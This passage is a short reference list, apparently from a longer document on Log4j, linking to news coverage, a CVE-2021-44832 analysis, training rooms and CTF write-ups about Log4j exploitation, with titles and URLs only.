    468 - [6] [Upgraded to Log4j 2.16? Surprise, there's a 2.17 fixing DoS - BleepingComputer](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/)
    469 - [7] [CVE-2021-44832: Apache Log4j 2.17.0 Arbitrary Code Execution via JDBCAppender Data Source Element - Checkmarx](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)
    470 - [8] [TryHackMe - Solar room](https://tryhackme.com/room/solar)
    471 - [9] [UHC - LogForge (HackTheBox walkthrough video)](https://www.youtube.com/watch?v=XG14EstTgQ4)
    472 - [10] [Google CTF 2022 - log4j2 writeup](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)
    473 - [11] [Writeup GoogleCTF2022 - log4j](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/)